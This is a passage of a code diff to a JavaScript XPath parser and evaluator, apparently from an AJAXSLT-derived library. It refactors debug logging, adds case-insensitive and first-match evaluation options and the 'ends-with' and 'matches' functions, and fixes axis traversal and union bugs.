   var stack = [];
   var ahead = null;
@@ -94,7 +80,7 @@ function xpathParse(expr) {
   var parse_count = 0;
   var lexer_count = 0;
   var reduce_count = 0;
-  
+
   while (!done) {
     parse_count++;
     expr = expr.replace(/^\s*/, '');
@@ -128,24 +114,22 @@ function xpathParse(expr) {
     // and not explicitly set.
 
     if (rule &&
-        (rule == TOK_DIV || 
+        (rule == TOK_DIV ||
          rule == TOK_MOD ||
-         rule == TOK_AND || 
+         rule == TOK_AND ||
          rule == TOK_OR) &&
-        (!previous || 
-         previous.tag == TOK_AT || 
-         previous.tag == TOK_DSLASH || 
+        (!previous ||
+         previous.tag == TOK_AT ||
+         previous.tag == TOK_DSLASH ||
          previous.tag == TOK_SLASH ||
-         previous.tag == TOK_AXIS || 
+         previous.tag == TOK_AXIS ||
          previous.tag == TOK_DOLLAR)) {
       rule = TOK_QNAME;
     }
 
     if (rule) {
       expr = expr.substr(match.length);
-      if (xpathdebug) {
-        Log.write('token: ' + match + ' -- ' + rule.label);
-      }
+      xpathLog('token: ' + match + ' -- ' + rule.label);
       ahead = {
         tag: rule,
         match: match,
@@ -154,24 +138,19 @@ function xpathParse(expr) {
       };
 
     } else {
-      if (xpathdebug) {
-        Log.write('DONE');
-      }
+      xpathLog('DONE');
       done = true;
     }
 
     while (xpathReduce(stack, ahead)) {
       reduce_count++;
-      if (xpathdebug) {
-        Log.write('stack: ' + stackToString(stack));
-      }
+      xpathLog('stack: ' + stackToString(stack));
     }
   }
 
-  if (xpathdebug) {
-    Log.write(stackToString(stack));
-  }
+  xpathLog('stack: ' + stackToString(stack));
 
+  // DGF any valid XPath should "reduce" to a single Expr token
   if (stack.length != 1) {
     throw 'XPath parse error ' + cachekey + ':\n' + stackToString(stack);
   }
@@ -179,14 +158,8 @@ function xpathParse(expr) {
   var result = stack[0].expr;
   xpathParseCache[cachekey] = result;
 
-  if (xpathdebug) {
-    Timer.end('XPath parse', cachekey);
-  }
-
-  if (xpathdebug) {
-    Log.write('XPath parse: ' + parse_count + ' / ' + 
-              lexer_count + ' / ' + reduce_count);
-  }
+  xpathLog('XPath parse: ' + parse_count + ' / ' +
+           lexer_count + ' / ' + reduce_count);
 
   return result;
 }
@@ -197,6 +170,32 @@ function xpathCacheLookup(expr) {
   return xpathParseCache[expr];
 }
 
+/*DGF xpathReduce is where the magic happens in this parser.
+Skim down to the bottom of this file to find the table of 
+grammatical rules and precedence numbers, "The productions of the grammar".
+
+The idea here
+is that we want to take a stack of tokens and apply
+grammatical rules to them, "reducing" them to higher-level
+tokens.  Ultimately, any valid XPath should reduce to exactly one
+"Expr" token.
+
+Reduce too early or too late and you'll have two tokens that can't reduce
+to single Expr.  For example, you may hastily reduce a qname that
+should name a function, incorrectly treating it as a tag name.
+Or you may reduce too late, accidentally reducing the last part of the
+XPath into a top-level "Expr" that won't reduce with earlier parts of
+the XPath.
+
+A "cand" is a grammatical rule candidate, with a given precedence
+number.  "ahead" is the upcoming token, which also has a precedence
+number.  If the token has a higher precedence number than
+the rule candidate, we'll "shift" the token onto the token stack,
+instead of immediately applying the rule candidate.
+
+Some tokens have left associativity, in which case we shift when they
+have LOWER precedence than the candidate.
+*/
 function xpathReduce(stack, ahead) {
   var cand = null;
 
@@ -222,20 +221,19 @@ function xpathReduce(stack, ahead) {
   }
 
   var ret;
-  if (cand && (!ahead || cand.prec > ahead.prec || 
+  if (cand && (!ahead || cand.prec > ahead.prec ||
                (ahead.tag.left && cand.prec >= ahead.prec))) {
     for (var i = 0; i < cand.match.matchlength; ++i) {
       stack.pop();
     }
 
-    if (xpathdebug) {
-      Log.write('reduce ' + cand.tag.label + ' ' + cand.prec +
-                ' ahead ' + (ahead ? ahead.tag.label + ' ' + ahead.prec + 
-                             (ahead.tag.left ? ' left' : '')
-                             : ' none '));
-    }
+    xpathLog('reduce ' + cand.tag.label + ' ' + cand.prec +
+             ' ahead ' + (ahead ? ahead.tag.label + ' ' + ahead.prec +
+                          (ahead.tag.left ? ' left' : '')
+                          : ' none '));
 
     var matchexpr = mapExpr(cand.match, function(m) { return m.expr; });
+    xpathLog('going to apply ' + cand.rule[3].toString());
     cand.expr = cand.rule[3].apply(null, matchexpr);
 
     stack.push(cand);
@@ -243,12 +241,10 @@ function xpathReduce(stack, ahead) {
 
   } else {
     if (ahead) {
-      if (xpathdebug) {
-        Log.write('shift ' + ahead.tag.label + ' ' + ahead.prec + 
-                  (ahead.tag.left ? ' left' : '') +
-                  ' over ' + (cand ? cand.tag.label + ' ' + 
-                              cand.prec : ' none'));
-      }
+      xpathLog('shift ' + ahead.tag.label + ' ' + ahead.prec +
+               (ahead.tag.left ? ' left' : '') +
+               ' over ' + (cand ? cand.tag.label + ' ' +
+                           cand.prec : ' none'));
       stack.push(ahead);
     }
     ret = false;
@@ -398,29 +394,68 @@ function stackToString(stack) {
 //
 //   getVariable(name) -- what the name says.
 //
-//   setNode(node, position) -- sets the context to the new node and
-//   its corresponding position. Needed to implement scoping rules for
-//   variables in XPath. (A variable is visible to all subsequent
-//   siblings, not only to its children.)
+//   setNode(position) -- sets the context to the node at the given
+//   position. Needed to implement scoping rules for variables in
+//   XPath. (A variable is visible to all subsequent siblings, not
+//   only to its children.)
+//
+//   set/isCaseInsensitive -- specifies whether node name tests should
+//   be case sensitive.  If you're executing xpaths against a regular
+//   HTML DOM, you probably don't want case-sensitivity, because
+//   browsers tend to disagree about whether elements & attributes
+//   should be upper/lower case.  If you're running xpaths in an
+//   XSLT instance, you probably DO want case sensitivity, as per the
+//   XSL spec.
 
-function ExprContext(node, position, nodelist, parent) {
+function ExprContext(node, opt_position, opt_nodelist, opt_parent,
+  opt_caseInsensitive, opt_ignoreAttributesWithoutValue,
+  opt_returnOnFirstMatch)
+{
   this.node = node;
-  this.position = position || 0;
-  this.nodelist = nodelist || [ node ];
+  this.position = opt_position || 0;
+  this.nodelist = opt_nodelist || [ node ];
   this.variables = {};
-  this.parent = parent || null;
-  this.root = parent ? parent.root : node.ownerDocument;
+  this.parent = opt_parent || null;
+  this.caseInsensitive = opt_caseInsensitive || false;
+  this.ignoreAttributesWithoutValue = opt_ignoreAttributesWithoutValue || false;
+  this.returnOnFirstMatch = opt_returnOnFirstMatch || false;
+  if (opt_parent) {
+    this.root = opt_parent.root;
+  } else if (this.node.nodeType == DOM_DOCUMENT_NODE) {
+    // NOTE(mesch): DOM Spec stipulates that the ownerDocument of a
+    // document is null. Our root, however is the document that we are
+    // processing, so the initial context is created from its document
+    // node, which case we must handle here explcitly.
+    this.root = node;
+  } else {
+    this.root = node.ownerDocument;
+  }
 }
 
-ExprContext.prototype.clone = function(node, position, nodelist) {
-  return new
-  ExprContext(node || this.node,
-              typeof position != 'undefined' ? position : this.position,
-              nodelist || this.nodelist, this);
+ExprContext.prototype.clone = function(opt_node, opt_position, opt_nodelist) {
+  return new ExprContext(
+      opt_node || this.node,
+      typeof opt_position != 'undefined' ? opt_position : this.position,
+      opt_nodelist || this.nodelist, this, this.caseInsensitive,
+      this.ignoreAttributesWithoutValue, this.returnOnFirstMatch);
 };
 
 ExprContext.prototype.setVariable = function(name, value) {
-  this.variables[name] = value;
+  if (value instanceof StringValue || value instanceof BooleanValue || 
+    value instanceof NumberValue || value instanceof NodeSetValue) {
+    this.variables[name] = value;
+    return;
+  }
+  if ('true' === value) {
+    this.variables[name] = new BooleanValue(true);
+  } else if ('false' === value) {
+    this.variables[name] = new BooleanValue(false);
+  } else if (TOK_NUMBER.re.test(value)) {
+    this.variables[name] = new NumberValue(value);
+  } else {
+    // DGF What if it's null?
+    this.variables[name] = new StringValue(value);
+  }
 };
 
 ExprContext.prototype.getVariable = function(name) {
@@ -433,13 +468,40 @@ ExprContext.prototype.getVariable = function(name) {
   } else {
     return null;
   }
-}
+};
 
-ExprContext.prototype.setNode = function(node, position) {
-  this.node = node;
+ExprContext.prototype.setNode = function(position) {
+  this.node = this.nodelist[position];
   this.position = position;
-}
+};
 
+ExprContext.prototype.contextSize = function() {
+  return this.nodelist.length;
+};
+
+ExprContext.prototype.isCaseInsensitive = function() {
+  return this.caseInsensitive;
+};
+
+ExprContext.prototype.setCaseInsensitive = function(caseInsensitive) {
+  return this.caseInsensitive = caseInsensitive;
+};
+
+ExprContext.prototype.isIgnoreAttributesWithoutValue = function() {
+  return this.ignoreAttributesWithoutValue;
+};
+
+ExprContext.prototype.setIgnoreAttributesWithoutValue = function(ignore) {
+  return this.ignoreAttributesWithoutValue = ignore;
+};
+
+ExprContext.prototype.isReturnOnFirstMatch = function() {
+  return this.returnOnFirstMatch;
+};
+
+ExprContext.prototype.setReturnOnFirstMatch = function(returnOnFirstMatch) {
+  return this.returnOnFirstMatch = returnOnFirstMatch;
+};
 
 // XPath expression values. They are what XPath expressions evaluate
 // to. Strangely, the different value types are not specified in the
@@ -492,7 +554,7 @@ StringValue.prototype.numberValue = function() {
 }
 
 StringValue.prototype.nodeSetValue = function() {
-  throw this + ' ' + Error().stack;
+  throw this;
 }
 
 function BooleanValue(value) {
@@ -513,7 +575,7 @@ BooleanValue.prototype.numberValue = function() {
 }
 
 BooleanValue.prototype.nodeSetValue = function() {
-  throw this + ' ' + Error().stack;
+  throw this;
 }
 
 function NumberValue(value) {
@@ -534,7 +596,7 @@ NumberValue.prototype.numberValue = function() {
 }
 
 NumberValue.prototype.nodeSetValue = function() {
-  throw this + ' ' + Error().stack;
+  throw this;
 }
 
 function NodeSetValue(value) {
@@ -593,17 +655,49 @@ function LocationExpr() {
 }
 
 LocationExpr.prototype.appendStep = function(s) {
-  this.steps.push(s);
+  var combinedStep = this._combineSteps(this.steps[this.steps.length-1], s);
+  if (combinedStep) {
+    this.steps[this.steps.length-1] = combinedStep;
+  } else {
+    this.steps.push(s);
+  }
 }
 
 LocationExpr.prototype.prependStep = function(s) {
-  var steps0 = this.steps;
-  this.steps = [ s ];
-  for (var i = 0; i < steps0.length; ++i) {
-    this.steps.push(steps0[i]);
+  var combinedStep = this._combineSteps(s, this.steps[0]);
+  if (combinedStep) {
+    this.steps[0] = combinedStep;
+  } else {
+    this.steps.unshift(s);
   }
 };
 
+// DGF try to combine two steps into one step (perf enhancement)
+LocationExpr.prototype._combineSteps = function(prevStep, nextStep) {
+  if (!prevStep) return null;
+  if (!nextStep) return null;
+  var hasPredicates = (prevStep.predicates && prevStep.predicates.length > 0);
+  if (prevStep.nodetest instanceof NodeTestAny && !hasPredicates) {
+    // maybe suitable to be combined
+    if (prevStep.axis == xpathAxis.DESCENDANT_OR_SELF) {
+      if (nextStep.axis == xpathAxis.CHILD) {
+        // HBC - commenting out, because this is not a valid reduction
+        //nextStep.axis = xpathAxis.DESCENDANT;
+        //return nextStep;
+      } else if (nextStep.axis == xpathAxis.SELF) {
+        nextStep.axis = xpathAxis.DESCENDANT_OR_SELF;
+        return nextStep;
+      }
+    } else if (prevStep.axis == xpathAxis.DESCENDANT) {
+      if (nextStep.axis == xpathAxis.SELF) {
+        nextStep.axis = xpathAxis.DESCENDANT;
+        return nextStep;
+      }
+    }
+  }
+  return null;
+}
+
 LocationExpr.prototype.evaluate = function(ctx) {
   var start;
   if (this.absolute) {
@@ -621,30 +715,82 @@ LocationExpr.prototype.evaluate = function(ctx) {
 function xPathStep(nodes, steps, step, input, ctx) {
   var s = steps[step];
   var ctx2 = ctx.clone(input);
-  var nodelist = s.evaluate(ctx2).nodeSetValue();
-
-  for (var i = 0; i < nodelist.length; ++i) {
-    if (step == steps.length - 1) {
-      nodes.push(nodelist[i]);
-    } else {
-      xPathStep(nodes, steps, step + 1, nodelist[i], ctx);
+  
+  if (ctx.returnOnFirstMatch && !s.hasPositionalPredicate) {
+    var nodelist = s.evaluate(ctx2).nodeSetValue();
+    // the predicates were not processed in the last evaluate(), so that we can
+    // process them here with the returnOnFirstMatch optimization. We do a
+    // depth-first grab at any nodes that pass the predicate tests. There is no
+    // way to optimize when predicates contain positional selectors, including
+    // indexes or uses of the last() or position() functions, because they
+    // typically require the entire nodelist for context. Process without
+    // optimization if we encounter such selectors.
+    var nLength = nodelist.length;
+    var pLength = s.predicate.length;
+    nodelistLoop:
+    for (var i = 0; i < nLength; ++i) {
+      var n = nodelist[i];
+      for (var j = 0; j < pLength; ++j) {
+        if (!s.predicate[j].evaluate(ctx.clone(n, i, nodelist)).booleanValue()) {
+          continue nodelistLoop;
+        }
+      }
+      // n survived the predicate tests!
+      if (step == steps.length - 1) {
+        nodes.push(n);
+      }
+      else {
+        xPathStep(nodes, steps, step + 1, n, ctx);
+      }
+      if (nodes.length > 0) {
+        break;
+      }
+    }
+  }
+  else {
+    // set returnOnFirstMatch to false for the cloned ExprContext, because
+    // behavior in StepExpr.prototype.evaluate is driven off its value. Note
+    // that the original context may still have true for this value.
+    ctx2.returnOnFirstMatch = false;
+    var nodelist = s.evaluate(ctx2).nodeSetValue();
+    for (var i = 0; i < nodelist.length; ++i) {
+      if (step == steps.length - 1) {
+        nodes.push(nodelist[i]);
+      } else {
+        xPathStep(nodes, steps, step + 1, nodelist[i], ctx);
+      }
     }
   }
 }
 
-function StepExpr(axis, nodetest, predicate) {
+function StepExpr(axis, nodetest, opt_predicate) {
   this.axis = axis;
   this.nodetest = nodetest;
-  this.predicate = predicate || [];
+  this.predicate = opt_predicate || [];
+  this.hasPositionalPredicate = false;
+  for (var i = 0; i < this.predicate.length; ++i) {
+    if (predicateExprHasPositionalSelector(this.predicate[i].expr)) {
+      this.hasPositionalPredicate = true;
+      break;
+    }
+  }
 }
 
 StepExpr.prototype.appendPredicate = function(p) {
   this.predicate.push(p);
+  if (!this.hasPositionalPredicate) {
+    this.hasPositionalPredicate = predicateExprHasPositionalSelector(p.expr);
+  }
 }
 
 StepExpr.prototype.evaluate = function(ctx) {
   var input = ctx.node;
   var nodelist = [];
+  var skipNodeTest = false;
+  
+  if (this.nodetest instanceof NodeTestAny) {
+    skipNodeTest = true;
+  }
 
   // NOTE(mesch): When this was a switch() statement, it didn't work
   // in Safari/2.0. Not sure why though; it resulted in the JavaScript
@@ -652,30 +798,71 @@ StepExpr.prototype.evaluate = function(ctx) {
 
   if (this.axis ==  xpathAxis.ANCESTOR_OR_SELF) {
     nodelist.push(input);
-    for (var n = input.parentNode; n; n = input.parentNode) {
+    for (var n = input.parentNode; n; n = n.parentNode) {
       nodelist.push(n);
     }
 
   } else if (this.axis == xpathAxis.ANCESTOR) {
-    for (var n = input.parentNode; n; n = input.parentNode) {
+    for (var n = input.parentNode; n; n = n.parentNode) {
       nodelist.push(n);
     }
 
   } else if (this.axis == xpathAxis.ATTRIBUTE) {
-    copyArray(nodelist, input.attributes);
-
+    if (this.nodetest.name != undefined) {
+      // single-attribute step
+      if (input.attributes) {
+        if (input.attributes instanceof Array) {
+          // probably evaluating on document created by xmlParse()
+          copyArray(nodelist, input.attributes);
+        }
+        else {
+          if (this.nodetest.name == 'style') {
+            var value = input.getAttribute('style');
+            if (value && typeof(value) != 'string') {
+              // this is the case where indexing into the attributes array
+              // doesn't give us the attribute node in IE - we create our own
+              // node instead
+              nodelist.push(XNode.create(DOM_ATTRIBUTE_NODE, 'style',
+                value.cssText, document));
+            }
+            else {
+              nodelist.push(input.attributes[this.nodetest.name]);
+            }
+          }
+          else {
+            nodelist.push(input.attributes[this.nodetest.name]);
+          }
+        }
+      }
+    }
+    else {
+      // all-attributes step
+      if (ctx.ignoreAttributesWithoutValue) {
+        copyArrayIgnoringAttributesWithoutValue(nodelist, input.attributes);
+      }
+      else {
+        copyArray(nodelist, input.attributes);
+      }
+    }
+    
   } else if (this.axis == xpathAxis.CHILD) {
     copyArray(nodelist, input.childNodes);
 
   } else if (this.axis == xpathAxis.DESCENDANT_OR_SELF) {
-    nodelist.push(input);
-    xpathCollectDescendants(nodelist, input);
+    if (this.nodetest.evaluate(ctx).booleanValue()) {
+      nodelist.push(input);
+    }
+    var tagName = xpathExtractTagNameFromNodeTest(this.nodetest);
+    xpathCollectDescendants(nodelist, input, tagName);
+    if (tagName) skipNodeTest = true;
 
   } else if (this.axis == xpathAxis.DESCENDANT) {
-    xpathCollectDescendants(nodelist, input);
+    var tagName = xpathExtractTagNameFromNodeTest(this.nodetest);
+    xpathCollectDescendants(nodelist, input, tagName);
+    if (tagName) skipNodeTest = true;
 
   } else if (this.axis == xpathAxis.FOLLOWING) {
-    for (var n = input.parentNode; n; n = n.parentNode) {
+    for (var n = input; n; n = n.parentNode) {
       for (var nn = n.nextSibling; nn; nn = nn.nextSibling) {
         nodelist.push(nn);
         xpathCollectDescendants(nodelist, nn);
@@ -683,7 +870,7 @@ StepExpr.prototype.evaluate = function(ctx) {
     }
 
   } else if (this.axis == xpathAxis.FOLLOWING_SIBLING) {
-    for (var n = input.nextSibling; n; n = input.nextSibling) {
+    for (var n = input.nextSibling; n; n = n.nextSibling) {
       nodelist.push(n);
     }
 
@@ -696,7 +883,7 @@ StepExpr.prototype.evaluate = function(ctx) {
     }
 
   } else if (this.axis == xpathAxis.PRECEDING) {
-    for (var n = input.parentNode; n; n = n.parentNode) {
+    for (var n = input; n; n = n.parentNode) {
       for (var nn = n.previousSibling; nn; nn = nn.previousSibling) {
         nodelist.push(nn);
         xpathCollectDescendantsReverse(nodelist, nn);
@@ -704,7 +891,7 @@ StepExpr.prototype.evaluate = function(ctx) {
     }
 
   } else if (this.axis == xpathAxis.PRECEDING_SIBLING) {
-    for (var n = input.previousSibling; n; n = input.previousSibling) {
+    for (var n = input.previousSibling; n; n = n.previousSibling) {
       nodelist.push(n);
     }
 
@@ -715,24 +902,28 @@ StepExpr.prototype.evaluate = function(ctx) {
     throw 'ERROR -- NO SUCH AXIS: ' + this.axis;
   }
 
-  // process node test
-  var nodelist0 = nodelist;
-  nodelist = [];
-  for (var i = 0; i < nodelist0.length; ++i) {
-    var n = nodelist0[i];
-    if (this.nodetest.evaluate(ctx.clone(n, i, nodelist0)).booleanValue()) {
-      nodelist.push(n);
+  if (!skipNodeTest) {
+    // process node test
+    var nodelist0 = nodelist;
+    nodelist = [];
+    for (var i = 0; i < nodelist0.length; ++i) {
+      var n = nodelist0[i];
+      if (this.nodetest.evaluate(ctx.clone(n, i, nodelist0)).booleanValue()) {
+        nodelist.push(n);
+      }
     }
   }
 
   // process predicates
-  for (var i = 0; i < this.predicate.length; ++i) {
-    var nodelist0 = nodelist;
-    nodelist = [];
-    for (var ii = 0; ii < nodelist0.length; ++ii) {
-      var n = nodelist0[ii];
-      if (this.predicate[i].evaluate(ctx.clone(n, ii, nodelist0)).booleanValue()) {
-        nodelist.push(n);
+  if (!ctx.returnOnFirstMatch) {
+    for (var i = 0; i < this.predicate.length; ++i) {
+      var nodelist0 = nodelist;
+      nodelist = [];
+      for (var ii = 0; ii < nodelist0.length; ++ii) {
+        var n = nodelist0[ii];
+        if (this.predicate[i].evaluate(ctx.clone(n, ii, nodelist0)).booleanValue()) {
+          nodelist.push(n);
+        }
       }
     }
   }
@@ -748,10 +939,12 @@ NodeTestAny.prototype.evaluate = function(ctx) {
   return this.value;
 };
 
-function NodeTestElement() {}
+function NodeTestElementOrAttribute() {}
 
-NodeTestElement.prototype.evaluate = function(ctx) {
-  return new BooleanValue(ctx.node.nodeType == DOM_ELEMENT_NODE);
+NodeTestElementOrAttribute.prototype.evaluate = function(ctx) {
+  return new BooleanValue(
+      ctx.node.nodeType == DOM_ELEMENT_NODE ||
+      ctx.node.nodeType == DOM_ATTRIBUTE_NODE);
 }
 
 function NodeTestText() {}
@@ -788,12 +981,17 @@ NodeTestNC.prototype.evaluate = function(ctx) {
 
 function NodeTestName(name) {
   this.name = name;
+  this.re = new RegExp('^' + name + '$', "i");
 }
 
 NodeTestName.prototype.evaluate = function(ctx) {
   var n = ctx.node;
-  // NOTE (Patrick Lightbody): this change allows node selection to be case-insensitive
-  return new BooleanValue(n.nodeName.toUpperCase() == this.name.toUpperCase());
+  if (ctx.caseInsensitive) {
+    if (n.nodeName.length != this.name.length) return new BooleanValue(false);
+    return new BooleanValue(this.re.test(n.nodeName));
+  } else {
+    return new BooleanValue(n.nodeName == this.name);
+  }
 }
 
 function PredicateExpr(expr) {
@@ -827,7 +1025,7 @@ FunctionCallExpr.prototype.evaluate = function(ctx) {
   if (f) {
     return f.call(this, ctx);
   } else {
-    Log.write('XPath NO SUCH FUNCTION ' + fn);
+    xpathLog('XPath NO SUCH FUNCTION ' + fn);
     return new BooleanValue(false);
   }
 };
@@ -836,7 +1034,7 @@ FunctionCallExpr.prototype.xpathfunctions = {
   'last': function(ctx) {
     assert(this.args.length == 0);
     // NOTE(mesch): XPath position starts at 1.
-    return new NumberValue(ctx.nodelist.length);
+    return new NumberValue(ctx.contextSize());
   },
 
   'position': function(ctx) {
@@ -853,21 +1051,22 @@ FunctionCallExpr.prototype.xpathfunctions = {
 
   'id': function(ctx) {
     assert(this.args.length == 1);
-    var e = this.args.evaluate(ctx);
+    var e = this.args[0].evaluate(ctx);
     var ret = [];
     var ids;
     if (e.type == 'node-set') {
       ids = [];
-      for (var i = 0; i < e.length; ++i) {
-        var v = xmlValue(e[i]).split(/\s+/);
+      var en = e.nodeSetValue();
+      for (var i = 0; i < en.length; ++i) {
+        var v = xmlValue(en[i]).split(/\s+/);
         for (var ii = 0; ii < v.length; ++ii) {
           ids.push(v[ii]);
         }
       }
     } else {
-      ids = e.split(/\s+/);
+      ids = e.stringValue().split(/\s+/);
     }
-    var d = ctx.node.ownerDocument;
+    var d = ctx.root;
     for (var i = 0; i < ids.length; ++i) {
       var n = d.getElementById(ids[i]);
       if (n) {
@@ -924,6 +1123,14 @@ FunctionCallExpr.prototype.xpathfunctions = {
     var s1 = this.args[1].evaluate(ctx).stringValue();
     return new BooleanValue(s0.indexOf(s1) == 0);
   },
+  
+  'ends-with': function(ctx) {
+    assert(this.args.length == 2);
+    var s0 = this.args[0].evaluate(ctx).stringValue();
+    var s1 = this.args[1].evaluate(ctx).stringValue();
+    var re = new RegExp(RegExp.escape(s1) + '$');
+    return new BooleanValue(re.test(s0));
+  },
 
   'contains': function(ctx) {
     assert(this.args.length == 2);
@@ -1013,6 +1220,26 @@ FunctionCallExpr.prototype.xpathfunctions = {
     }
     return new StringValue(s0);
   },
+  
+  'matches': function(ctx) {
+    assert(this.args.length >= 2);
+    var s0 = this.args[0].evaluate(ctx).stringValue();
+    var s1 = this.args[1].evaluate(ctx).stringValue();
+    if (this.args.length > 2) {
+      var s2 = this.args[2].evaluate(ctx).stringValue();
+      if (/[^mi]/.test(s2)) {
+        throw 'Invalid regular expression syntax: ' + s2;
+      }
+    }
+    
+    try {
+      var re = new RegExp(s1, s2);
+    }
+    catch (e) {
+      throw 'Invalid matches argument: ' + s1;
+    }
+    return new BooleanValue(re.test(s0));
+  },
 
   'boolean': function(ctx) {
     assert(this.args.length == 1);
@@ -1125,19 +1352,10 @@ FunctionCallExpr.prototype.xpathfunctions = {
     }
   },
 
-  'ext-sprintf': function(ctx) {
-    assert(this.args.length >= 1);
-    var args = [];
-    for (var i = 0; i < this.args.length; ++i) {
-      args.push(this.args[i].evaluate(ctx).stringValue());
-    }
-    return new StringValue(sprintf.apply(null, args));
-  },
-
   // ext-cardinal() evaluates its single argument as a number, and
   // returns the current node that many times. It can be used in the
   // select attribute to iterate over an integer range.
-  
+
   'ext-cardinal': function(ctx) {
     assert(this.args.length >= 1);
     var c = this.args[0].evaluate(ctx).numberValue();
@@ -1159,16 +1377,19 @@ UnionExpr.prototype.evaluate = function(ctx) {
   var nodes2 = this.expr2.evaluate(ctx).nodeSetValue();
   var I1 = nodes1.length;
   for (var i2 = 0; i2 < nodes2.length; ++i2) {
+    var n = nodes2[i2];
+    var inBoth = false;
     for (var i1 = 0; i1 < I1; ++i1) {
-      if (nodes1[i1] == nodes2[i2]) {
-        // break inner loop and continue outer loop, labels confuse
-        // the js compiler, so we don't use them here.
-        i1 = I1;
+      if (nodes1[i1] == n) {
+        inBoth = true;
+        i1 = I1; // break inner loop
       }
     }
-    nodes1.push(nodes2[i2]);
+    if (!inBoth) {
+      nodes1.push(n);
+    }
   }
-  return new NodeSetValue(nodes2);
+  return new NodeSetValue(nodes1);
 };
 
 function PathExpr(filter, rel) {
@@ -1177,15 +1398,33 @@ function PathExpr(filter, rel) {
 }
 
 PathExpr.prototype.evaluate = function(ctx) {
+  // the filter expression should be evaluated in its entirety with no
+  // optimization, as we can't backtrack to it after having moved on to
+  // evaluating the relative location path
+  var flag = ctx.returnOnFirstMatch;
+  ctx.setReturnOnFirstMatch(false);
   var nodes = this.filter.evaluate(ctx).nodeSetValue();
+  ctx.setReturnOnFirstMatch(flag);
+  
   var nodes1 = [];
-  for (var i = 0; i < nodes.length; ++i) {
-    var nodes0 = this.rel.evaluate(ctx.clone(nodes[i], i, nodes)).nodeSetValue();
-    for (var ii = 0; ii < nodes0.length; ++ii) {
-      nodes1.push(nodes0[ii]);
+  if (ctx.returnOnFirstMatch) {
+    for (var i = 0; i < nodes.length; ++i) {
+      nodes1 = this.rel.evaluate(ctx.clone(nodes[i], i, nodes)).nodeSetValue();
+      if (nodes1.length > 0) {
+        break;
+      }
     }
+    return new NodeSetValue(nodes1);
+  }
+  else {
+    for (var i = 0; i < nodes.length; ++i) {
+      var nodes0 = this.rel.evaluate(ctx.clone(nodes[i], i, nodes)).nodeSetValue();
+      for (var ii = 0; ii < nodes0.length; ++ii) {
+        nodes1.push(nodes0[ii]);
+      }
+    }
+    return new NodeSetValue(nodes1);
   }
-  return new NodeSetValue(nodes1);
 };
 
 function FilterExpr(expr, predicate) {
@@ -1462,6 +1701,7 @@ function makeLocationExpr6(rel, slash, step) {
 
 function makeLocationExpr7(rel, dslash, step) {
   rel.appendStep(makeAbbrevStep(dslash.value));
+  rel.appendStep(step);
   return rel;
 }
 
@@ -1504,7 +1744,7 @@ function makeAbbrevStep(abbrev) {
 }
 
 function makeNodeTestExpr1(asterisk) {
-  return new NodeTestElement;
+  return new NodeTestElementOrAttribute;
 }
 
 function makeNodeTestExpr2(ncname, colon, asterisk) {
@@ -1528,14 +1768,14 @@ function makeNodeTestExpr4(typeo, parenc) {
     return new NodeTestComment;
 
   case 'processing-instruction':
-    return new NodeTestPI;
+    return new NodeTestPI('');
   }
 }
 
 function makeNodeTestExpr5(typeo, target, parenc) {
   var type = typeo.replace(/\s*\($/, '');
   if (type != 'processing-instruction') {
-    throw type + ' ' + Error().stack;
+    throw type;
   }
   return new NodeTestPI(target.value);
 }
@@ -1631,9 +1871,9 @@ function makeSimpleExpr(expr) {
 }
 
 function makeSimpleExpr2(expr) {
-  var steps = expr.split('/');
+  var steps = stringSplit(expr, '/');
   var c = new LocationExpr();
-  for (var i in steps) {
+  for (var i = 0; i < steps.length; ++i) {
     var a = new NodeTestName(steps[i]);
     var b = new StepExpr('child', a);
     c.appendStep(b);
@@ -1716,7 +1956,7 @@ var TOK_BRACKO = { label: "[",   prec:   32, re: new RegExp("^\\[") };
 var TOK_BRACKC = { label: "]",               re: new RegExp("^\\]") };
 var TOK_DOLLAR = { label: "$",               re: new RegExp("^\\$") };
 
-var TOK_NCNAME = { label: "[ncname]", re: new RegExp('^[a-z][-\\w]*','i') };
+var TOK_NCNAME = { label: "[ncname]", re: new RegExp('^' + XML_NC_NAME) };
 
 var TOK_ASTERISK = { label: "*", prec: 15, re: new RegExp("^\\*"), left: true };
 var TOK_LITERALQ = { label: "[litq]", prec: 20, re: new RegExp("^'[^\\']*'") };
@@ -1733,7 +1973,7 @@ var TOK_NUMBER  = {
 
 var TOK_QNAME = {
   label: "[qname]",
-  re: new RegExp('^([a-z][-\\w]*:)?[a-z][-\\w]*','i')
+  re: new RegExp('^(' + XML_NC_NAME + ':)?' + XML_NC_NAME)
 };
 
 var TOK_NODEO = {
@@ -1856,6 +2096,9 @@ var ASSOC_LEFT = true;
 // instead. TODO: It shouldn't be necessary to explicitly assign
 // precedences to rules.
 
+// DGF As it stands, these precedences are purely empirical; we're
+// not sure they can be made to be consistent at all.
+
 var xpathGrammarRules =
   [
    [ XPathLocationPath, [ XPathRelativeLocationPath ], 18,
@@ -1863,7 +2106,7 @@ var xpathGrammarRules =
    [ XPathLocationPath, [ XPathAbsoluteLocationPath ], 18,
      passExpr ],
 
-   [ XPathAbsoluteLocationPath, [ TOK_SLASH, XPathRelativeLocationPath ], 18, 
+   [ XPathAbsoluteLocationPath, [ TOK_SLASH, XPathRelativeLocationPath ], 18,
      makeLocationExpr1 ],
    [ XPathAbsoluteLocationPath, [ TOK_DSLASH, XPathRelativeLocationPath ], 18,
      makeLocationExpr2 ],
@@ -1918,7 +2161,7 @@ var xpathGrammarRules =
      passExpr ],
    [ XPathPrimaryExpr, [ XPathNumber ], 30,
      passExpr ],
-   [ XPathPrimaryExpr, [ XPathFunctionCall ], 30,
+   [ XPathPrimaryExpr, [ XPathFunctionCall ], 31,
      passExpr ],
 
    [ XPathFunctionCall, [ TOK_QNAME, TOK_PARENO, TOK_PARENC ], -1,
@@ -1935,19 +2178,19 @@ var xpathGrammarRules =
    [ XPathUnionExpr, [ XPathUnionExpr, TOK_PIPE, XPathPathExpr ], 20,
      makeUnionExpr ],
 
-   [ XPathPathExpr, [ XPathLocationPath ], 20, 
-     passExpr ], 
-   [ XPathPathExpr, [ XPathFilterExpr ], 19, 
-     passExpr ], 
-   [ XPathPathExpr, 
-     [ XPathFilterExpr, TOK_SLASH, XPathRelativeLocationPath ], 20,
+   [ XPathPathExpr, [ XPathLocationPath ], 20,
+     passExpr ],
+   [ XPathPathExpr, [ XPathFilterExpr ], 19,
+     passExpr ],
+   [ XPathPathExpr,
+     [ XPathFilterExpr, TOK_SLASH, XPathRelativeLocationPath ], 19,
      makePathExpr1 ],
    [ XPathPathExpr,
-     [ XPathFilterExpr, TOK_DSLASH, XPathRelativeLocationPath ], 20,
